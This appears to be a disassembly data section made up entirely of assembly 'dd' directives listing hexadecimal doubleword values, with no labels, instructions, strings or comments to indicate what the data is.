		dd 5C2B5Dh, 333B3F17h, 646EA8BCh, 0DC57F400h, 656F7E8Bh
		dd 83281753h, 492704FCh, 0DF75C2BAh, 0C76E948Fh, 9E16E8E3h
		dd 4550D2F0h, 6E7B75E4h, 0F58AF300h, 689144C1h,	93E0094h
		dd 0FE35F9FAh, 53030A23h, 0D8886D39h, 83DC9125h, 2B54CFCh
		dd 6CB3D32Ah, 0B8F2BD5Eh, 0C25B2407h, 8D702251h, 98122EA0h
		dd 0DE5C00BAh, 2486D781h, 0C019057h, 108C5D62h,	583840B8h
		dd 2FEECD80h, 0E50002DAh, 22C6B547h, 58D538E2h,	0ED0074EFh
		dd 0E83F2425h, 3A00FBF7h
		dd 0A1338640h, 1D52615Fh, 0C0679806h, 8BFA289Ah, 297544CBh
		dd 59CA752Ch, 9869D503h, 0E739D019h, 7EC0C468h,	5F88863h
		dd 7F759600h, 693DA8C7h, 67A0000Ah, 80AB04E2h, 0AE0103FCh
		dd 7698E385h, 6CD461F7h, 0CC4400ECh, 2AEDC2A3h,	8A000134h
		dd 0B1895782h, 0FA28B381h, 0D2880302h, 0C72BB662h, 5A85D5h
		dd 6E4452F6h, 3300BDD4h, 3A0E1ED2h, 2D66F8h, 0F62F127Dh
		dd 0CAFDC42Bh, 0E29AD50Eh, 0BF3D2155h, 4CC4C0EEh, 909AF7h
		dd 9B0457FFh, 461C0660h, 78005398h, 3948A6FAh, 4DD7F98Bh
		dd 14015C7Bh, 206808ADh, 24F47169h, 7112CE64h, 4D00539Dh
		dd 6A125F99h, 5CDE260h,	0C0556B6Dh, 0A20C0034h,	522713DBh
		dd 1100DE74h, 0E5918CA7h, 1F255D88h, 524007FAh,	0F134911Fh
		dd 0BEB0F73Dh, 0F305B5FFh, 24DE3F07h, 470F1002h, 0AF54485Dh
		dd 0BA6C0E31h, 0BE81D9A6h, 0F072ACF5h, 8DF8E9A1h, 8A3031FAh
		dd 0A47460C0h, 0E1960FEDh, 0D6AFF398h, 803D1EE0h, 0E400F895h
		dd 5EC9720Fh, 6468C08h,	5D6F426h, 5C7168DAh, 0D002661Eh
		dd 0B3E26C03h, 3DEB3B5h, 34558890h, 0A519EDh, 8B571B08h
		dd 0E001B1B7h, 5EA80283h, 2187E146h, 0F0FA4D53h, 27DA1DD5h
		dd 4C834300h, 0BEAA3689h, 87D54h, 53A82CF3h, 11D6A3A4h
		dd 8ABB6D00h, 5633DD22h, 61F20019h, 0B8AC9201h,	26B8C7BCh
		dd 4F99591Fh, 3480C683h, 21C0E44Ah, 0BE9B9Ah, 0C853DB7Ah
		dd 6BECC5F1h, 31632D00h, 48AF5425h, 0A97F00B7h,	0E891B1F4h
		dd 0ACE85B98h, 6972741Fh, 195E9640h, 184E67E3h,	0ACC9C6Eh
		dd 7700B3F0h, 9722BE1Ah, 549907h, 308E186Ah, 0B9BA476Ch
		dd 0D44D9001h, 0BD4B6B10h, 687BC4h, 0F5934A61h,	3762E8B1h
		dd 0B480E59h, 8FA77828h, 0C583A056h, 31F1C7Fh, 76201E4Ah
		dd 0E0F87C9Dh, 4076FB08h, 0E5C72200h, 30661873h, 76531CECh
		dd 8F3D8042h, 5CEF771Bh, 200C5F2h, 0E597F814h, 58E29C62h
		dd 5D1D1DEEh, 7B3C8023h, 2B59A72h, 98C56A01h, 21CF7865h
		dd 0E84C9220h, 0D6DE1F09h, 13B9C0F1h, 0A5EAEEA8h, 16453600h
		dd 3A959AB2h, 2BA1252h,	0F03C1182h, 0E0AE0442h,	0FE51EE4Eh
		dd 254A0082h, 1BE0F77Ch, 0FB313D91h, 3084282Eh,	37F424h
		dd 0DE574416h, 1367BFA7h, 0F83D8600h, 81565903h, 89683292h
		dd 0E3101228h, 834897Eh, 0FA5245E8h, 8970FD10h,	441D0810h
		dd 22841A6Ch, 0CC227D8Fh, 53B422D3h, 1049E622h,	21124248h
		dd 616708E8h, 5C2850B9h, 0A42988EBh, 60D388D2h,	2A840E90h
		dd 28804A45h, 88649308h, 6E004AAAh, 0CE8FB81Dh,	2EE700FDh
		dd 0D2120FF4h, 320ED790h, 0B9C2199h, 0ADC4008Bh, 0BB5C9Fh
		dd 0E0A17DCBh, 7A6465ECh, 0B3900107h, 0F0D7F691h, 0B0088480h
		dd 76C700B4h, 5BDB9260h, 4D00941Fh, 0F46B21FFh,	42D69Ah
		dd 36B4C723h, 0BA7E631Ch, 12B5B16h, 65955E00h, 0B50F59h
		dd 56F677F0h, 7FB13FF4h, 71693806h, 10FADBh, 8D4ACC48h
		dd 5EDAA1DDh, 5D257679h, 0AE54074Eh, 967426C0h,	78BD07B4h
		dd 30EE193Dh, 0AB3191EBh, 0F4725500h, 7B1E229h,	0AD900059h
		dd 0D48CA095h, 5500C5DFh, 0A2D7B09Ah, 42565E8h,	79487847h
		dd 0C2489354h, 30E09C81h, 0FF17A4E4h, 37003247h, 2C43F50Fh
		dd 0E7E5000Ah, 0B8A07425h, 6D3EC681h, 0C24A87F2h, 97508E84h
		dd 1E386673h, 0C08B48B3h, 25B488E9h, 0CE039E8Ch, 6230728Fh
		dd 3FBA9018h, 44EA3A49h, 63BE2D80h, 1E210560h, 8425A107h
		dd 0DE907CE5h, 0E84FBD34h, 0D6AC0079h, 0CFFBA75h, 0B600A199h
		dd 6D8DD163h, 42ABC9h, 85306229h, 0D6A8754Ch, 9000DAE2h
		dd 79BCB9BBh, 3A1C2B09h, 820E8587h, 0E7E08914h,	2E4C391Bh
		dd 53BEF000h, 7460A35Ch, 8BC21F49h, 97654099h, 0FB69582Dh
		dd 948F6F00h, 0FD070E5h, 0CFB23F38h, 0DA89F33Ch, 0D300D34Eh
		dd 0EDDE1997h, 8D35BA1Dh, 0BC0D7F00h, 0FAE87h, 0E913E474h
		dd 6B64C4CCh, 412DB405h, 9800D5CEh, 5001A94Fh, 80210085h
		dd 0CBAFABBCh, 6F00717Ah, 0FA70F24Bh, 1F565CC8h, 0C0157E3Dh
		dd 1F2B81EDh, 43018806h, 3A70752h, 7EC0ADF0h, 0EC020009h
		dd 0CC796468h, 426F9993h, 98826039h, 0C02DED2h,	0DF22FAB2h
		dd 0DC001118h, 652A444Fh, 0C4E0802Bh, 0A8A88E98h, 0E58800B0h
		dd 0D3E5FC2h, 0F8713F09h, 2B0A19Eh, 3D204194h, 0F3F26460h
		dd 922C7400h, 0C6A72847h, 0B8F0A0ABh, 4E6D00A6h, 31E2F79Dh
		dd 57F80B5h, 4A879700h,	98D5B09Bh, 46B7102h, 7F487973h
		dd 0B84C92E3h, 18D0A220h, 312E0CA6h, 94A062CDh,	0D6FFFE03h
		dd 0D8CC55FCh, 39B0464Eh, 0DB244F91h, 0F60B0088h, 2CA4BE84h
		dd 0B99F9300h, 335C3EAEh, 0B04B01DDh, 7670C35h,	0C198207Eh
		dd 1517C003h, 9E7C5Bh, 8FD6ED74h, 3F545E62h, 0BA2AA100h
		dd 1DD1B62Bh, 3A6800BEh, 0F9520BC1h, 360958A7h,	0FFFCD3h
		dd 237B9A3Ch, 87CC068Eh, 196C2788h, 0E548CE07h,	60204CF9h
		dd 35DA462h, 51F3E3C1h,	1CA09555h, 930BAF47h, 0E1A972EAh
		dd 0B940ACF0h, 238CE9h,	4F5D4A62h, 9E862766h, 488ECC01h
		dd 39496EBCh, 0AF3CC4h,	0E717CE6h, 0F74F8886h, 0E460DE03h
		dd 9022FF18h, 0BC452Bh,	0B50B007h, 0C412402h, 0A2CC9F02h
		dd 48C2833Eh, 35F600h, 5E82F7E3h, 75BCA153h, 66BB2D13h
		dd 1AC18467h, 483073C9h, 7C55149Eh, 0F705EBBBh,	0C5D28820h
		dd 0A95000D5h, 362D6DE9h, 0EA09F30Eh, 29592E9Fh, 3D880095h
		dd 1FD72F4Fh, 0C061A86Fh, 832467B5h, 7001B05h, 41DB142h
		dd 0EF41FCh, 0E712908Ch, 811776BDh, 3E389D00h, 5127D437h
		dd 2E94FA7Fh, 80C05539h, 0DA3C80DDh, 3497307h, 0F9D0010Ch
		dd 0CB53B6C2h, 76D6D8h,	0D510F638h, 1450AD9Dh, 0C93E0800h
		dd 0B588CF2Dh, 1C94969Fh, 0C047F43h, 0D4D61B03h, 0AD7780C8h
		dd 0C100663Ch, 2047546Fh, 918A050h, 5B2F3F03h, 0B560748Fh
		dd 0D53267FEh, 0B6ABCC00h, 0FD3B43BEh, 8A1E240Eh, 68FF0140h
		dd 81241FB4h, 46F24FF0h, 19CCAC75h, 7F8817C3h, 2D1C42A3h
		dd 80585571h, 0D797C900h, 93366BEEh, 99D9602Bh,	0EF6D44DAh
		dd 0BAC239h, 0AC214C5Eh, 0F02CE4h, 0C8B913DFh, 0F36963ABh
		dd 0BA53400h, 28C29D9Bh, 680E1ED9h, 0AD2541FDh,	30BB12A4h
		dd 31C6C64h, 0DD40C9B1h, 6AB627C7h, 430905E8h, 65B5A0h
		dd 4530D9E4h, 0C700D1CCh, 154BA367h, 1705B50h, 0D3CE4705h
		dd 0D4F8E165h, 730014CAh, 2413AF1h, 0B0372F2Bh,	0BCBA0F3Ah
		dd 0D1C07EF2h, 0AC506730h, 88B42828h, 0BF2B660Fh, 39DD00D3h
		dd 0A018058Ch, 0E3F8CCh, 45175863h, 76AEBD84h, 51698907h
		dd 232034C7h, 3F9155B2h, 0FB00AA64h, 4FD0B086h,	7200DCA3h
		dd 3BF6FE06h, 0FACF205Ch, 50E4901Ch, 0F9A90BDh,	4458E564h
		dd 78F5E0F8h, 48A8D800h, 7410BA84h, 503C02C2h, 0D20AA6CAh
		dd 280EB880h, 0AD1CF294h, 80BA9531h, 9D3B84D1h,	0E0D350h
		dd 61064EC4h, 0C8B327CEh, 0AB65A800h, 0AC1B6BA9h, 2D8100EFh
		dd 0EBD9F7B2h, 0A400332Ch, 0F308463Ah, 0FABAD5Eh, 65DC2169h
		dd 67DD2D81h, 0D4B0208Ch, 0E275D703h, 0FA2974h,	1FF77D88h
		dd 0C8E74E78h, 2F11600h, 0E463E844h, 6BFB3BA4h,	0B4EB3080h
		dd 8688B019h, 0DE7C891Bh, 0B841E010h, 0D9470098h, 0F443303h
		dd 0A1D9768h, 0A1006E3Eh, 41E16F17h, 5E60038h, 2BCE98C5h
		dd 8DE08289h, 2FA82D00h, 0F3CB812Ch, 20D30118h,	451CABC7h
		dd 0BC003AF5h, 16B44043h
		dd 9A07776h, 0AA1A8336h, 0C5600F00h, 0DA00A901h, 9E6A08D8h
		dd 77DC885h, 29C4A213h,	8C7C32BAh, 6E78BD60h, 0B38D241Dh
		dd 80B0BF89h, 65BE0C6Ch, 0F41705Eh, 0D01EB9EBh,	0A764D220h
		dd 94001AD9h, 6FC0AA07h, 1C87A3FEh, 8320F42Eh, 3B801447h
		dd 4EFC07DFh, 602BB0E0h, 4C00ACEBh, 0ABBF1C70h,	6B8C8Ah
		dd 0D4DBC3BAh, 0ED3DAFE3h, 1BB51901h, 0AB254F8Eh, 0A29820h
		dd 2938B261h, 0C09BF18Ah, 37F3CF01h, 92AD3006h,	0FC946C70h
		dd 6EB92C32h, 5CC500C4h, 9348F689h, 0FB7B4900h,	1A46787Fh
		dd 2B72008Ch, 6F5C94B0h, 0A00E2EBh, 749CF6B8h, 2AD31Eh
		dd 39B21A6Eh, 83B9F443h, 80736238h, 1C318878h, 61C4B4h
		dd 0DA436979h, 3ED5F0Bh, 0D93BE0C0h, 0F89350h, 8623A6D7h
		dd 150621D1h, 0DA68BA07h, 33A7B3ABh, 9EC76694h,	0FB3E83h
		dd 578E3E0h, 6919C056h,	9FEC810Fh, 18AFA0A5h, 0B03BBB35h
		dd 72A10065h, 690989E4h, 4C0EEAB4h, 444B202Dh, 0A8C0FBF6h
		dd 3AFFA731h, 82A8B99Ah, 471A27A0h, 23002474h, 17A6E389h
		dd 190C3785h, 0D3E64018h, 800CE7Ah, 24E5ADA7h, 0FE8FD775h
		dd 0A9B00BEh, 42170C1h,	0ECA06BB3h, 6007DF11h, 1838B93Ch
		dd 407A7840h, 5F7B00B6h, 0EFD3EA1Ah, 8913061Bh,	0AC419921h
		dd 7181B89Bh, 90B7F447h, 6036FF91h, 57E2E8h, 0F71E8BB7h
		dd 97F6C6A5h, 0B05EA03h, 6DD38h, 31B448E4h, 2D5535A6h
		dd 76739574h, 79CB650h,	1EC7C17h, 0DE0A6C40h, 205D14C2h
		dd 0A400DF34h, 0AAB8BD8Ch, 7923CC66h, 0F0945C84h, 0B3E27700h
		dd 0D95FFF52h, 0B782E800h, 0FAC3F155h, 0CADB01F5h, 8D4F7B7Fh
		dd 94056B7Eh, 0F080D25Ch, 2D69A405h, 600246D7h,	48511249h
		dd 0B83B280h, 0A3A037h,	0C0EBE2E4h, 947FBEAAh, 0E8130F14h
		dd 189900FEh, 5991A32Bh, 7C050007h, 93C1BD66h, 0C3001D1Bh
		dd 3D43E6AAh, 0EE51B08Bh, 0ACBE1DCBh, 5A198009h, 0C51B4C9Ah
		dd 98F4A600h, 9D361076h, 0ECEA3B8Bh, 9480C138h,	2D90F241h
		dd 0C034749h, 4FFAA625h, 0D0569024h, 3E171F5Eh,	5A817DCAh
		dd 0A2CFB3Dh, 0E7C08032h, 811F8C02h, 0C69A0033h, 0B67A07E9h
		dd 870010FAh, 0EA855966h, 7A6BCBEh, 74C8D613h, 8212B362h
		dd 0A8632105h, 0CC07926h, 0ECBF7C0Ah, 2EC605E8h, 0EDD955Ah
		dd 1F00979Ch, 61CA8B22h, 0A300D6EAh, 7BC3B324h,	71E2CD87h
		dd 0DD6B0266h, 4E254084h, 9050D4E0h, 8670CA04h,	14C017B5h
		dd 24436D3h, 0AFBCC03Eh, 0FF60B01Ah, 4A004F3Fh,	87CC61F3h
		dd 4BFA88BFh, 36DC0080h, 0D23ADFB4h, 9AA03200h,	0E24112F6h
		dd 91000C2h, 0F2DB35D6h, 80069EBh, 0DAD7A38h, 7229CC27h
		dd 36B700F6h, 4A3F842Bh, 5A002653h, 0EA7DB499h,	2645587h
		dd 0DE95E203h, 0E38061C3h, 17E92808h, 0B6261C09h, 4990C0ABh
		dd 90450076h, 0CE35BA03h, 3A00B45Eh, 0D4106F27h, 224EEC8h
		dd 0BD544693h, 587CEC65h, 584C2700h, 2C8A23h, 0FE672A83h
		dd 0A4CC4DAFh, 0AD2DD900h, 6F4F07DBh, 98761Ah, 11C60F48h
		dd 0F0E8662Eh, 0CDBD1600h, 82D5A284h, 0E3FD135Fh, 30F40199h
		dd 748A626Bh, 0C21215F0h, 680063A8h, 0E12849C3h, 0F03026ECh
		dd 0CC480080h, 56603133h, 3E0B7C00h, 0AAE4C290h, 0CCBD4804h
		dd 0D11BD400h, 6466CFFh, 47926B00h, 0AC2FB677h,	0BF9B0754h
		dd 0B02060F6h, 8111B150h, 80B7E1CBh, 0BC9703A8h, 0F0F20F33h
		dd 0D6615FAEh, 305C2E93h, 38E64CE2h, 6C09C900h,	0E1378083h
		dd 189401FEh, 7D2BA120h, 324FF814h, 0B54E8F0Ch,	12A0E0A7h
		dd 8865121Bh, 790618B8h, 5F0443A5h, 0C34900E8h,	0F29E6C0h
		dd 8600468Ch, 0FD186A5Ah, 3A099170h, 0AD1FC648h, 951AC7A6h
		dd 80B69F11h, 7EEE8040h, 0BA3C6C92h, 0DBF116A2h, 0D4414400h
		dd 301B28Fh, 0C586A6CBh, 880038F3h, 0EA363FE2h,	2800ADFh
		dd 0A2966D12h, 0C960D9E6h, 0AC1C6B22h, 0C4CE6FF6h, 441DB704h
		dd 249AE528h, 75B4CA00h, 0B00859DCh, 0F9900052h, 619835D5h
		dd 72009B2Eh, 2FAEC489h, 99EE7C6h, 556D4C77h, 5D746800h
		dd 9A0E069Fh, 602EBDEBh, 71DEC581h, 2F0500E2h, 14F407Dh
		dd 4E00A633h, 0A399047Fh, 6AC37E9h, 637DDD62h, 0CA1CE075h
		dd 52C09687h, 3ECE82ADh, 0C0600EBh, 972071F5h, 0FE7B4B3Ch
		dd 0B0950700h, 2A16C136h, 2D775Dh, 0A687AFB2h, 0F1E7C25Eh
		dd 0C069602Eh, 54C0F00h, 5F41B6h, 2BFEA253h, 0F4199E92h
		dd 57150404h, 4680D807h, 28FFCDBCh, 1C4862Dh, 652EA5C7h
		dd 604EC066h, 0EC001BD8h, 46EF6CA4h, 0C1738FAh,	4B83F963h
		dd 4F7FEE32h, 28923400h, 175A4407h, 802E0742h, 6249CFA1h
		dd 6840BAB2h, 18004033h, 94178D12h, 5D8A90h, 0B065AD1Dh
		dd 0DE8495C6h, 0FF542100h, 0DA5932F9h, 0F04E0061h, 0B006C34Dh
		dd 0A900A1B3h, 53E67DC7h, 0ACFC47h, 8B1292DEh, 6478DAC4h
		dd 0C9A86650h, 1E7C5503h, 0EB4AFB51h, 0FE00A56Fh, 0D87B54CEh
		dd 0D1DB0086h, 52D5AA4Ch, 0F97AFA71h, 1EA05149h, 0B5970788h
		dd 0B479A4B0h, 0B1F100B4h, 781A140Eh, 656A0B13h, 2F9CB0h
		dd 4E3DCF74h, 0EE5F26CEh, 7CC97101h, 971C93D5h,	41E2E4h
		dd 5C919AB1h, 82FA396Eh, 96DAE900h, 3D02ACA0h, 8A6003Ah
		dd 0AC02AE7h, 98A0B9EAh, 0F04FCEFBh, 163A385Fh,	90406753h
		dd 5BC9527h, 0A5170099h, 0F2F70DFBh, 443CA647h,	8CE88067h
		dd 3C55E9CEh, 21B74B0h,	119679C5h, 7476B4C3h, 31EE9502h
		dd 0B847DEh, 0BE33DC4Dh, 22FC8189h, 0C4680095h,	74EE4021h
		dd 0F73E260Dh, 3A010064h, 91B0566Ah, 5000975Bh,	9B0BC914h
		dd 51410049h, 9FEA040Dh, 0C30E39B2h, 0C0360E88h, 1A13DAAh
		dd 0DF51016Fh, 1C946389h, 2F50E0E1h, 98DBE531h,	0EFE0D107h
		dd 0B2713Ch, 0FB5447C5h, 906B68E9h, 0F8923D07h,	0F401DE23h
		dd 0C03CF656h, 0FBCB0075h, 9E5B6DFh, 0F00AD0Ah,	70AB9BA6h
		dd 0A19F54Ch, 3060DBB0h, 7D068368h, 0BAF0B5E9h,	7B00F612h
		dd 7EACD98Bh, 2685AE2h,	1569752h, 0D0787305h, 0FC114E00h
		dd 5BED702Bh, 97B800BFh, 0CA602FB1h, 223B133Eh,	0DCCE8088h
		dd 0ECAD9DE3h, 5EF80787h, 0FF3CF749h, 1394134Ah, 83C0C251h
		dd 3FC0808Fh, 0A0871946h, 0ED01BE7Ah, 0F42C801Fh, 5024159Eh
		dd 0B9256322h, 64F18E53h, 982BDC89h, 38BD59h, 557D3BF1h
		dd 41663Dh, 38280FBAh, 982553D5h, 0C8170800h, 0E64B446Ah
		dd 183FCDBh, 0D41EB402h, 308910FBh, 0AE4CBE70h,	0EC007681h
		dd 0EF36DBB7h, 0B63E5Bh, 0EBF94543h, 4D8D4A93h,	3200C4E8h
		dd 0C9E73F34h, 0D574A9h, 9AC66EB4h, 0E4FDE2FBh,	5B531B05h
		dd 88B841F0h, 7838F377h, 0FB443400h, 8A82055h, 0C140D904h
		dd 7C83043Fh, 288A80Dh,	155C0192h, 0BC814420h, 6B86D4B9h
		dd 6D82CB12h, 24F5A9F0h, 29CB78Bh, 0DD9FA45Fh, 0E603C7Bh
		dd 49A85C37h, 5C557C65h, 493F7C40h, 18331E21h, 0F86A83EFh
		dd 6EF05175h, 0AA00C1DEh, 0CD1E411Ch, 137CC5A5h, 0C8CA6219h
		dd 0B2021D40h, 77C2E1CBh, 0C432C0E4h, 0F582008Ah, 0DEEA6F9Ch
		dd 450098D3h, 653B857Dh, 0C41FFAh, 6EB5B12Fh, 0DABC67CAh
		dd 70E21C07h, 34D3BDBAh, 0C2E4880Dh, 74E67E0Ch,	0E3A20194h
		dd 91FF877Fh, 609421DCh, 0FE0903F1h, 36C680h, 0BF42A775h
		dd 647F48F7h, 69AAE603h, 44C0A177h, 85044379h, 87644C2Ah
		dd 747344A0h, 12C80169h, 0C0148A78h, 0AF9420F4h, 534D602h
		dd 687B907Ch, 716A10h
		dd 0AC8F0178h, 4D224629h, 3F94B80Ch, 0F320DEh, 9E6E04B7h
		dd 0A2707A7Fh, 9627C300h, 3548655Bh, 0D2AA005Ah, 6C2E1876h
		dd 0B500EA99h, 942312BBh, 0E8AC8A0h, 439C3829h,	825BAD43h
		dd 47BF7A98h, 0B42D2098h, 28004FBh, 0FA0BE083h,	7F878E2h
		dd 0E9816194h, 58E446F3h, 32625C05h, 6CF0EFEEh,	0CD250027h
		dd 7B4B93A1h, 164B5307h, 0FC858C80h, 6864004Dh,	0DCD8F346h
		dd 3D001DE9h, 0D5DEAE4Bh, 0F888D412h, 43580076h, 26B920B3h
		dd 6601AB25h, 307CE035h, 0C0CADE5Ah, 0FFE1C0h, 1B52F359h
		dd 0F366E0Ah, 9286D500h, 4E07EA6Dh, 178A005Ah, 5D2612E8h
		dd 0AE009E04h, 0D6BB338h, 182FFCA3h, 0D8A6A9C4h, 2A009FCAh
		dd 0BB353784h, 3F965356h, 208525A3h, 80A708FAh,	9F920E11h
		dd 0C833E000h, 0E507D399h, 47D500C2h, 889A7479h, 0AB003031h
		dd 1785EDDEh, 367B237h,	0A3625E24h, 26A07783h, 0A772F910h
		dd 3EF1970Ch, 2511A2h, 0F47351BEh, 0B2E18C4Ch, 777FD300h
		dd 2EBFFC7Bh, 0FDA80027h, 0B46DBA0Bh, 0A91D2C18h, 4F80B70Ah
		dd 901C5AC6h, 0EFC900A2h, 577F214Ah, 0FB72DE5h,	2AFBA068h
		dd 5DBAF06h, 3E85EC4Dh,	0E22CC2F1h, 4BFDADE0h, 8054563Dh
		dd 5D81F722h, 9E9648h, 35C1D6A3h, 436AE9BAh, 80FF5538h
		dd 0AE831822h, 0F5D220h, 0CE237331h, 8CC8B267h,	0D6548800h
		dd 34064786h, 768F00C0h, 38E3EE98h, 0EA1CFED9h,	0E7002E62h
		dd 111B923h, 433700A9h,	67BCF0C9h, 81007F47h, 349444F4h
		dd 0E86406h, 58A83BA1h,	73DA504Ch, 0E0A6A226h, 0E561B600h
		dd 39AF7D60h, 5007407h,	89CDF0D7h, 9FE62538h, 8E7CBA3Ah
		dd 0A014DD58h, 6DA6D46Bh, 0E9980017h, 0DA15A248h, 2900EB70h
		dd 1CCCB349h, 3C0CC647h, 0CDB0B2FEh, 0F0D05A10h, 9A027100h
		dd 6AE196C1h, 37FD0059h, 981EB530h, 0D11F1B3Ch,	2940CB5Bh
		dd 4E994D97h, 457F2Ch, 9B9AB6A2h, 19155E62h, 3AACCE00h
		dd 6F5DCAD9h, 0C4E0014h, 0AD13B6C8h, 9579DDA0h,	0FD604603h
		dd 0E6F397h, 0ABA30CE0h, 9E8567E5h, 704C8300h, 4690A76Bh
		dd 81C1072Ch, 735F4274h, 24886148h, 0B8168F31h,	92074D03h
		dd 0FE0FB5Bh, 0F255D9B1h, 580800F3h, 0FF761741h, 0EFF6E81Ah
		dd 0F03A7438h, 0A8C79728h, 5F014800h, 7E2AFA98h, 94F603E7h
		dd 7151C53Ah, 0C81908A9h, 0C40073D8h, 0D5D384A5h, 0A66EAF1h
		dd 0DB95259Fh, 1FA002F4h, 32C06A07h, 0C7001343h, 6091EDF6h
		dd 0E89A0CBDh, 0BE3002D3h, 0C6513863h, 4AB14FC0h, 425D2000h
		dd 197ECE74h, 8D320044h, 4CA84DFAh, 643DB3F4h, 40240EDCh
		dd 761AE041h, 3ABA6D85h, 0AF00F669h, 0DA1C3436h, 5B036C31h
		dd 0C0E9F222h, 0F521D8EEh, 96CD0029h, 64E667A6h, 1B0F8D08h
		dd 4075B5A5h, 4023B99Ch, 0E17F87h, 0A3E27491h, 0A17D14E0h
		dd 0A99E9D00h, 0DFEAFADEh, 0CF9B0753h, 0C0234B62h, 0FDF254C6h
		dd 9EF7E39h, 20D24203h,	0AC3B1250h, 9CA045Bh, 0C78541D5h
		dd 0F81A10D3h, 0B600919Eh, 906F595Fh, 3970DF98h, 513E57E9h
		dd 16498400h, 0A1185420h, 8E6D4800h, 0EAE1CC25h, 5E9B03B3h
		dd 0C0233C27h, 54F310F8h, 79D31400h, 0D463C4BFh, 264901BDh
		dd 0D0EFE59Eh, 39AAE0D7h, 0B8109F61h, 63F0F2DAh, 6F220079h
		dd 0E7E6FB7Dh, 3C92FAABh, 84180870h, 0D80801E1h, 8351005Dh
		dd 0AD662858h, 0F03EACE9h, 0C9007005h, 63FAB11Bh, 1879298Eh
		dd 500984E1h, 260FE060h, 7B4124h, 0B4299E63h, 60DEDDh
		dd 0EC8FC2EBh, 90C067B3h, 86491BCAh, 296B38E8h,	8AE650Ch
		dd 0DF076449h, 3D7DB109h, 0D343DDA0h, 847200A0h, 0D203CA91h
		dd 3F00DCFAh, 6E199F8Fh, 2E8BA86h, 6CE22C7h, 2FE08460h
		dd 82004063h, 168346D6h, 7BD14B11h, 3BFAEE8Fh, 2300793Bh
		dd 44809A0Eh, 5C00F6D8h, 53189919h, 0C0375975h,	9D569A8h
		dd 0F507BDE9h, 340A5E56h, 0A2418641h, 15CCDCh, 3A0C6AF4h
		dd 0D61975F1h, 0DC239E01h, 821CFB53h, 7309D0h, 4BC23165h
		dd 57FEC639h, 9DA10A3Bh, 0B89C6D15h, 55F158C9h,	6679080h
		dd 700C552h, 17184645h,	0B09EE6BAh, 0C65A3CFFh,	770B1Fh
		dd 736D3C4Eh, 59077E50h, 4156AD98h, 83AB6EB0h, 0C38502B0h
		dd 0E4A6579Ah, 1206C0A0h, 5D1E14C7h, 6B07475Eh,	32C6462Eh
		dd 0AAC0F21h, 0D5E099C7h, 6E40D4AFh, 0F49EEF05h, 0CC40A9C8h
		dd 1C230F1Dh, 8120685h,	83AFC64h, 603C20EFh, 24C84602h
		dd 576321CEh, 0E060A8C2h, 900420Ch, 856282F9h, 0A7A48ADh
		dd 8C9AC4FBh, 0BC5F4050h, 16215D11h, 0EF9146h, 0B4C717ABh
		dd 40E43CCh, 4AC9B2F5h,	2DC5800Dh, 207DAA11h, 8D660979h
		dd 39E568h, 0E2CFEB39h,	0B57A6E3Fh, 2099BA30h, 2A9065h
		dd 121DB7FBh, 44E032A3h, 0D25D382Eh, 803F8A0Ah,	0BC1EE882h
		dd 8E8880D9h, 1FABDC5Eh, 8061470Eh, 0A4CD557h, 181E63ACh
		dd 0EDC0DA9Ah, 3DC5FB83h, 735D00BDh, 0E109C411h, 0F900BF1Dh
		dd 0EFB40EA9h, 4BB554h,	9E64DE51h, 1B2050E0h, 7D3570E7h
		dd 6530D107h, 24607044h, 43AF61h, 2FC8C219h, 0BDCEF15Eh
		dd 3900B97Dh, 0DF3DC74h, 0B24670h, 0F4EB5401h, 0D6FDC027h
		dd 5D0AE400h, 3449EDE8h, 7EE9007Fh, 968F0C22h, 0C2132B80h
		dd 0A00CECAh, 0C1E610E1h, 6FDA1712h, 0BB060050h, 55F33264h
		dd 5A93A90Fh, 8E1020ECh, 0A83822h, 0A5859A4Bh, 0C3CB42Ah
		dd 6F443000h, 1F9967EBh, 0E2410290h, 54517114h,	16CF82E0h
		dd 0EA6C8800h, 63B0CBE3h, 0D987014Dh, 482394EBh, 4160834Fh
		dd 79C01A6Ch, 43E73010h, 19C9AE18h, 55777C00h, 0C7C48B07h
		dd 2DA9E003h, 1150E9B7h, 4FEE7300h, 0C28AEBDDh,	3A7837h
		dd 7BCFB7A8h, 0D913A1A4h, 0CE342D00h, 0F7F03E33h, 601079DBh
		dd 3A4878FCh, 44634F6Eh, 0B0A270h, 0BD16AF1h, 1FB545D8h
		dd 94C3F21Eh, 0A35815C0h, 0B7FEE3h, 0CBBC41FAh,	9BF3EE56h
		dd 4F80A600h, 0C2D047C9h, 0ECAE330Fh, 0FFF0A788h, 30C0062Fh
		dd 0CFEF97C3h, 0E5500C31h, 2D719946h, 6FB56A14h, 0C7B158Ch
		dd 4C370580h, 3987D2C0h, 0E00FE137h, 31C12B6Ah,	4B9B0D3Eh
		dd 0ECC074A6h, 875E85FEh, 0E0873E0h, 5EBE425Ch,	7C5D2680h
		dd 0A9B0D5DCh, 0FAF77000h, 7398B384h, 1ED1007Ah, 322E72Ah
		dd 40C57C49h, 96009268h, 0E16F94A8h, 4A06006Eh,	0A86F0ABh
		dd 0B50905A4h, 408509B6h, 7C5C3Eh, 53354A42h, 0B5B41452h
		dd 26271002h, 43203F03h, 80A5E21Eh, 1E29A750h, 263000E6h
		dd 0AFEB4377h, 9E0C150Eh, 0B02501FAh, 7EAD0078h, 28AB274Bh
		dd 2B753D90h, 53C07B07h, 8F3F6471h, 0C739C058h,	604881AFh
		dd 83A31954h, 0E376E8FEh, 6B286560h, 6393451h, 0A7D503C8h
		dd 136C1949h, 1D8718E8h, 94EC7Fh, 0AD2DC5D5h, 0C90C856Dh
		dd 0C8444CFCh, 2F4F0041h, 0E8BBB8Eh, 0E414707Ch, 0AA0460A3h
		dd 0A0011ECh, 0ECB87BFh, 12C3F8h, 0C181B373h, 535204B8h
		dd 83FDB63Ch, 5CC02CCCh, 51103A15h, 943AF24h, 0F180FB0Eh
		dd 0BBF15FCDh, 0FD851800h, 0C96FD18Ch, 6B7E3E8Eh, 1DCA8400h
		dd 0F718FFDDh, 4B3B400h, 0CB8EC054h, 70BD183Fh,	7BFF60E3h
		dd 0E276FC60h, 295C440h, 94D91083h, 917C7D93h, 80FB781Fh
		dd 29454717h, 7CE4056Ah, 4B3C1FBBh, 0DDB40AFh, 7F755CC9h
		dd 0ED299162h, 3706226Ch, 880EE82Fh, 1188DD3Fh,	0B94C9F6Bh
		dd 14443340h, 35DE44A8h, 0B1313CA0h, 3C6829DFh,	4D504002h
		dd 83594548h, 2139A928h
		dd 820C8B79h, 0A09D2955h, 89CBF328h, 4614416Fh,	8104EA63h
		dd 0BF0CCF21h, 55284251h, 6D652214h, 7287442h, 9AEF3250h
